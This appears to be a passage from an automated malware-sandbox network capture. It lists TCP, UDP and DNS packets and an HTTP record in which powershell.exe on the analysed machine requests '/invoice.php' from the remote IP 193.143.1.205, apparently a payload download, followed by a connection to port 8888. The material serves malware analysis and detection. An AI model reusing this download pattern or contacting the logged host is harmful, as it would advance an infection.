Jan 11, 2025 06:12:10.234947920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234958887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234968901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234978914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234982014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.234989882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234999895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.234999895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235027075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235234022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235244989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235255003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235271931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235296965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235297918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235342026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235352993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235382080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235387087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235393047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235411882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235419035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235429049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235524893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235543013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235553026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235574961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235605955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235615969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235630989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235639095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235642910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235652924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235663891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235677004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235738993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235749006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235759020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235769033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235793114 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235809088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235816956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235825062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235835075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235846043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.235860109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.235877991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.236829996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.270967960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.270988941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271001101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271011114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271022081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271034002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271063089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.271096945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.271107912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271116972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271142006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271155119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.271157980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271168947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271178007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271188974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.271192074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.271212101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.273504019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.281088114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.281115055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.281126976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.281137943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.281150103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.281160116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.281164885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.281172037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.281188011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.281225920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.284696102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284713984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284728050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284745932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284755945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284768105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284778118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.284789085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284799099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.284812927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.284820080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.284837008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.320410967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320441008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320452929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320463896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320476055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320487022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320498943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320508957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320527077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320537090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320549011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320564032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320624113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320645094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320656061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320691109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320691109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.320702076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320749044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.320768118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320777893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320790052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320801973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320810080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.320828915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.320894003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320904970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320921898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320930004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.320931911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320943117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320952892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.320966959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.320975065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321022987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321043015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321043968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321053982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321063995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321074963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321085930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321093082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321111917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321156025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321166992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321192980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321213007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321223974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321239948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321248055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321250916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321260929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321357965 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321417093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321429014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321439028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321444988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321448088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321450949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321460009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321471930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321487904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321521044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321532965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321542978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321552992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321564913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321567059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321588039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321616888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321628094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321652889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321655989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321690083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321737051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321748972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321758986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321768045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321779013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321789026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321791887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321799994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321805000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321810961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321824074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321844101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321865082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321866035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321873903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321891069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.321892977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321903944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.321938038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322000027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322010994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322024107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322038889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322062016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322079897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322092056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322103024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322149038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322170019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322180986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322191000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322201967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322202921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322232008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322257042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322288036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322391033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322472095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322482109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322498083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322503090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322509050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322526932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322527885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322537899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322550058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322555065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322561979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322587013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322639942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322649956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322660923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322669983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322678089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322684050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322695017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322700024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322705984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322715044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.322727919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.322751045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.358093023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.358112097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.358129025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.358139992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.358151913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.358170033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.358170033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.358181953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.358192921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.358208895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.358232021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.359411001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.367872953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.367925882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.367938995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.367949963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.367961884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.367964983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.367976904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.367988110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.367991924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.368000031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.368027925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.368047953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.371380091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371406078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371414900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371433020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371443987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371469021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.371501923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371514082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371517897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.371525049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.371551991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.371568918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.381300926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407169104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407241106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407250881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407269955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407286882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407296896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407306910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407334089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407342911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407346964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407358885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407368898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407375097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407381058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407391071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407391071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407423019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407444954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407458067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407469034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407480001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407490969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407500982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407505035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407511950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407522917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407561064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.407598972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407608032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:10.407638073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.515408039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:10.631134987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:11.134289980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:11.559228897 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:11.774347067 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:11.774442911 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:11.776235104 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:11.781141996 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:12.578308105 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 06:12:12.619354010 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:12:13.146022081 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 06:13:43.547038078 CET	58406	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:13:43.551924944 CET	53	58406	1.1.1.1	192.168.2.4
Jan 11, 2025 06:13:43.552041054 CET	58406	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:13:43.552223921 CET	58406	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:13:43.557046890 CET	53	58406	1.1.1.1	192.168.2.4
Jan 11, 2025 06:13:44.014897108 CET	53	58406	1.1.1.1	192.168.2.4
Jan 11, 2025 06:13:44.015523911 CET	58406	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:13:44.020474911 CET	53	58406	1.1.1.1	192.168.2.4
Jan 11, 2025 06:13:44.020545006 CET	58406	53	192.168.2.4	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:12:24.722444057 CET	58446	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:12:41.204185963 CET	63862	53	192.168.2.4	1.1.1.1
Jan 11, 2025 06:13:43.546305895 CET	53	56044	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:12:24.722444057 CET	192.168.2.4	1.1.1.1	0x7c1e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:12:41.204185963 CET	192.168.2.4	1.1.1.1	0x995e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:12:24.731005907 CET	1.1.1.1	192.168.2.4	0x7c1e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:12:41.211414099 CET	1.1.1.1	192.168.2.4	0x995e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	3060	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:12:08.868185997 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
